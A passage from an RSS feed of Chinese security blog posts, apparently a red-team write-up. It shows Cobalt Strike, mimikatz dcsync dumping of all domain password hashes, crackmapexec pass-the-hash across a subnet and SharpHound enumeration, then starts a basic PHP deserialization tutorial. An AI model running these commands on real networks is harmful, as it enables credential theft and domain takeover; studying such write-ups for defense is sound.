!important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;visibility: visible;overflow-wrap: break-word !important;"><p data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" style="max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__1" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(141, 141, 141)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">令牌窃取拿到域管</span></strong></p></section></section></section><section style="max-width: 100%;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-indent: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="letter-spacing: 0.544px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><section><span style="font-size: 14px;">窃取域管的进程：</span></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4162775183455637" data-s="300,640" style="" data-type="png" data-w="2998" src="https://wechat2rss.xlab.app/img-proxy/?k=8d035169&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzILNovVJiczJIs7EI7d9Hb1Hcqm5OQrAQibVrsLVK1icuTVHjpNtNe4Z7Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.116" data-s="300,640" style="" data-type="png" data-w="3000" src="https://wechat2rss.xlab.app/img-proxy/?k=7d5c6e8c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzWyY4WQ4C1icsiaLlUaeLxZsRW4oiaDnxEx0ibrs2VicAEeO2gQNVRcvPCaw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.36989966555183945" data-s="300,640" style="" data-type="png" data-w="2990" src="https://wechat2rss.xlab.app/img-proxy/?k=25acede0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzQC6np7bSeBdVFGEj1TfDH64vDlibmgw2ojtIyhqX6AaSOv1Y41s8DlA%2F640%3Fwx_fmt%3Dpng"/></p><section><span style="font-size: 14px;">随后查询域控IP：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer">beacon&gt; shell net group <span class="code-snippet__string">&#34;Domain Controllers&#34;</span> /domain</span></code><code><span class="code-snippet_outer">[*] Tasked beacon to <span class="code-snippet__symbol">run:</span> net group <span class="code-snippet__string">&#34;Domain Controllers&#34;</span> /domain</span></code><code><span class="code-snippet_outer">[+] host called home, <span class="code-snippet__symbol">sent:</span> <span class="code-snippet__number">69</span> bytes</span></code><code><span class="code-snippet_outer">[+] received <span class="code-snippet__symbol">output:</span></span></code><code><span class="code-snippet_outer">The request will be processed at a domain controller <span class="code-snippet__keyword">for</span> domain inbug.org.</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">Group name     Domain Controllers</span></code><code><span class="code-snippet_outer">Comment        All domain controllers <span class="code-snippet__keyword">in</span> the domain</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">Members</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">-------------------------------------------------------------------------------</span></code><code><span class="code-snippet_outer">xxADC01$   <span class="code-snippet__number">192.168</span>.<span class="code-snippet__number">101.4</span>    </span></code><code><span class="code-snippet_outer">xxxxN024$ <span class="code-snippet__number">192.168</span>.<span class="code-snippet__number">0</span>.<span class="code-snippet__number">20</span>      </span></code><code><span class="code-snippet_outer">xxxGN042$ <span class="code-snippet__number">192.168</span>.<span class="code-snippet__number">0</span>.<span class="code-snippet__number">154</span>               </span></code><code><span class="code-snippet_outer">xxxGN043$ <span class="code-snippet__number">192.168</span>.<span class="code-snippet__number">0</span>.<span class="code-snippet__number">19</span></span></code><code><span class="code-snippet_outer">xxxGN052$   <span class="code-snippet__number">192.168</span>.<span class="code-snippet__number">0</span>.<span class="code-snippet__number">14</span>             </span></code><code><span class="code-snippet_outer">xxxGN053$    <span class="code-snippet__number">192.168</span>.<span class="code-snippet__number">0</span>.<span class="code-snippet__number">31</span>            </span></code><code><span class="code-snippet_outer">xxSERVER1$   <span class="code-snippet__number">10.226</span>.<span class="code-snippet__number">0</span>.<span class="code-snippet__number">150</span></span></code><code><span class="code-snippet_outer">xxPSERVER116$  <span class="code-snippet__number">10.225</span>.<span class="code-snippet__number">241.149</span>          </span></code><code><span class="code-snippet_outer">xxSERVER40<span class="code-snippet__number">0</span>$  <span class="code-snippet__number">192.168</span>.<span class="code-snippet__number">105.5</span>           </span></code><code><span class="code-snippet_outer">xxSERVER401$  <span class="code-snippet__number">192.168</span>.<span class="code-snippet__number">105.6</span>        </span></code><code><span class="code-snippet_outer">xxSERVER505$   <span class="code-snippet__number">10.231</span>.<span class="code-snippet__number">1.15</span>        </span></code><code><span class="code-snippet_outer">xxSERVER506$    <span class="code-snippet__number">10.232</span>.<span class="code-snippet__number">55.60</span>         </span></code><code><span class="code-snippet_outer">xxSERVER60<span class="code-snippet__number">0</span>$    <span class="code-snippet__number">10.227</span>.<span class="code-snippet__number">69.108</span> </span></code><code><span class="code-snippet_outer">xxSERVER813$    <span class="code-snippet__number">10.225</span>.<span class="code-snippet__number">240.16</span>         </span></code><code><span class="code-snippet_outer">The command completed successfully.</span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.8928229665071771" data-s="300,640" style="" data-type="png" data-w="2090" src="https://wechat2rss.xlab.app/img-proxy/?k=a954b063&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzxUWuMuMkHQQIicYtJzsvFKyqD3LTB9MVWlOhhyPub9AqIRNeD5xXbPg%2F640%3Fwx_fmt%3Dpng"/></p><section><span style="font-size: 14px;">最后直接 dcsync dump 域内全部 hash：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="apache"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">mimikatz</span> lsadump::dcsync /domain:psnet.com /<span class="code-snippet__literal">all</span> /csv</span></code></pre></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.05788876276958" data-s="300,640" style="" data-type="png" data-w="1762" src="https://wechat2rss.xlab.app/img-proxy/?k=122752a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzpeV7dQQaepzd3pV5z6Hic1ejPznib9yWUENtKBlEsOcnPaPpZy7cnuXQ%2F640%3Fwx_fmt%3Dpng"/></p><section><span style="font-size: 14px;">5000 多个域用户的 hash 都拿到了，可以进行 pth，随后只要 administrator 的 hash，就可以指定：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer">mimikatz lsadump::dcsync /domain:inbug.org /user:Administrator</span></code></pre></section><section><span style="font-size: 14px;"></span></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.8078260869565217" data-s="300,640" style="" data-type="png" data-w="2300" src="https://wechat2rss.xlab.app/img-proxy/?k=453b0881&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzyBvlh32Bj2b4E4Vt6rodzrrSJRxOia9fDUTvSbUI2QUoKdDEZlosnPw%2F640%3Fwx_fmt%3Dpng"/></p><section><span style="font-size: 14px;">此时利用 ntlm hash 批量 pth 执行命令：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">proxychains</span> crackmapexec smb <span class="code-snippet__number">192.168.0.0</span>/<span class="code-snippet__number">24</span> -u administrator -H 4a03985f63e4dxxxxxxx -d inbug.org -x <span class="code-snippet__string">&#34;net user&#34;</span></span></code></pre></section><section><span style="font-size: 14px;"></span></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.621" data-s="300,640" style="" data-type="jpeg" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=7a2b6811&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzUCAl0ZDp79HojI2A3T6aAoWc2YRSkpLX0zM16IdDMYgO0WEvbHhR9g%2F640%3Fwx_fmt%3Djpeg"/></p><p><span style="font-size: 14px;">此时游戏已经结束了！查看了一下域内进行信息；</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="sql"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">execute</span>-<span class="code-snippet__keyword">assembly</span> /<span class="code-snippet__keyword">Users</span>/saulgoodman/Downloads/SharpHound.exe -c <span class="code-snippet__keyword">all</span></span></code></pre></section><p><span style="font-size: 14px;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7291178766588603" data-s="300,640" style="" data-type="png" data-w="2562" src="https://wechat2rss.xlab.app/img-proxy/?k=4e39c82b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzrn6UODYaqdcbibAswSaptxwPiciakxmEdRvBUBicenzh53aAlnsnqoANAg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.622" data-s="300,640" style="" data-type="jpeg" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=50802108&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzQXIrklGagsPqEWark2KhE5YvHkbpkrFsho1GZSNb2qdWT4oGiaz3chQ%2F640%3Fwx_fmt%3Djpeg"/></p><section><span style="font-size: 14px;">好家伙，2600多机器，5000多个用户，就到这吧。</span><br/></section><section class="mp_profile_iframe_wrp"><mpprofile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-id="Mzg2NjYwMTk0MA==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/yYePiaZj2cHibYMGgsCATs68fsqzZNMtia0fjXEtEXd7gfw5xmAcQdEmAoOOFcS4Ce6vQyyh0DJtq8po5bQicfRrKA/0?wx_fmt=png" data-nickname="InBug实验室" data-alias="" data-signature="信息安全相关信息推送，专注于红蓝对抗。" data-from="0"></mpprofile></section>



<p><a href="2247484044">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=10862598&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2NjYwMTk0MA%3D%3D%26mid%3D2247484044%26idx%3D1%26sn%3D9f464f1c2f6ca1e95a012ec903776f9b%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 20 Aug 2021 18:15:00 +0800</pubDate>
    </item>
    <item>
      <title>PHP反序列化漏洞浅入浅出</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2NjYwMTk0MA==&amp;mid=2247483958&amp;idx=1&amp;sn=80351dad7888c08ae96ad593c8f4c1e8</link>
      <description>序列化与反序列化机制本身并无问题，但应用程序对于用户输入数据（不可信数据）进行了反序列化处理，使反序列化生成了非预期的对象，在对象的生成过程中可能产生攻击行为。</description>
      <content:encoded><![CDATA[<p>
原创 <span>InBug实验室</span> <span>2021-08-06 18:35</span> <span style="display: inline-block;"></span>
</p>

<p>序列化与反序列化机制本身并无问题，但应用程序对于用户输入数据（不可信数据）进行了反序列化处理，使反序列化生成了非预期的对象，在对象的生成过程中可能产生攻击行为。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=7b463678&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FyYePiaZj2cH9pHf7QleeobYGwqsdtvqPAo7VtjibCtuORVT8MFeZm5B2Nzb12eVVdu93LHsE7X2ib1W1q1dDzTYtQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p>                                                                                                    <br/></p><section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__0" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;visibility: visible;overflow-wrap: break-word !important;"><p data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" style="max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__1" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(141, 141, 141)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">序列化与反序列化</span></strong></p></section></section></section><section style="text-indent: 2em;"><br/></section><section style="text-indent: 2em;"><span style="font-size: 14px;">序列化就是将对象的状态信息转换为可存储或传输的形式的过程；反序列化将可存储或传输的形式的过程恢复为对象的过程。面向对象的语言都存在序列化和反序列化操作，如C#、python、java、php、JavaScript等。</span></section><section style="text-indent: 2em;"><span style="font-size: 14px;">为什么需要反序列化呢？一是方便传输，服务端把数据序列化，发送到客户端，客户端把接收到的数据反序列化后对数据进行操作，完成后再序列化发送到服务端，服务端再反序列化数据后对数据进行操作；二是方便存储，将内存中的对象状态保存至文件或数据库中，供之后使用。</span></section><section style="text-indent: 2em;"><span style="font-size: 14px;">序列化与反序列化机制本身并无问题，但应用程序对于用户输入数据（不
可信数据）进行了反序列化处理，使反序列化生成了非预期的对象，在对象的产生过程中可能产生攻击行为。</span></section><p><br/></p><section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__0" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;visibility: visible;overflow-wrap: break-word !important;"><p data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" style="max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__1" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(141, 141, 141)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">PHP序列化<strong data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" style="color: rgb(254, 254, 254);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.544px;text-align: center;white-space: normal;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__1" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(141, 141, 141)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" style="max-width: 100%;color: rgb(89, 89, 89);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></strong></span></strong></p></section></section></section><p><br style="white-space: normal;"/></p><section style="text-indent: 2em;"><span style="font-size: 14px;">PHP序列化后得到的字符串存储的信息仅包含对象的属性，并不包含类中的函数（方法）。<br/></span></section><ul class="list-paddingleft-2" style="list-style-type: square;"><li style="font-size: 14px;"><p><span style="font-size: 14px;">代码</span></p></li></ul><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer">&lt;?php</span></code><code><span class="code-snippet_outer">class Student{</span></code><code><span class="code-snippet_outer">    public $name;</span></code><code><span class="code-snippet_outer">    public $stuid;</span></code><code><span class="code-snippet_outer">    public $age;</span></code><code><span class="code-snippet_outer">    function __construct($name,$stuid){</span></code><code><span class="code-snippet_outer">        $this-&gt;name=$name;</span></code><code><span class="code-snippet_outer">        $this-&gt;stuid=$stuid;</span></code><code><span class="code-snippet_outer">    } </span></code><code><span class="code-snippet_outer">    function hello(){</span></code><code><span class="code-snippet_outer">        echo(&#34;Hello,I&#39;m $this-&gt;name.&#34;);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">$stu1=new Student(&#39;Alice&#39;,1);</span></code><code><span class="code-snippet_outer">$stu2=new Student(&#39;Bob&#39;,2);</span></code><code><span class="code-snippet_outer">$stu1-&gt;hello();</span></code><code><span class="code-snippet_outer">$stu2-&gt;hello();</span></code><code><span class="code-snippet_outer">echo(serialize($stu1));</span></code><code><span class="code-snippet_outer">echo(serialize($stu2));</span></code></pre></section><ul class="list-paddingleft-2" style="list-style-type: square;"><li style="font-size: 14px;"><p><span style="font-size: 14px;">执行结果</span></p></li></ul><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="perl"><code><span class="code-snippet_outer">kali@kali:/tmp$ php student.php </span></code><code><span class="code-snippet_outer">Hello,I&#39;m Alice.</span></code><code><span class="code-snippet_outer">Hello,I&#39;m Bob.</span></code><code><span 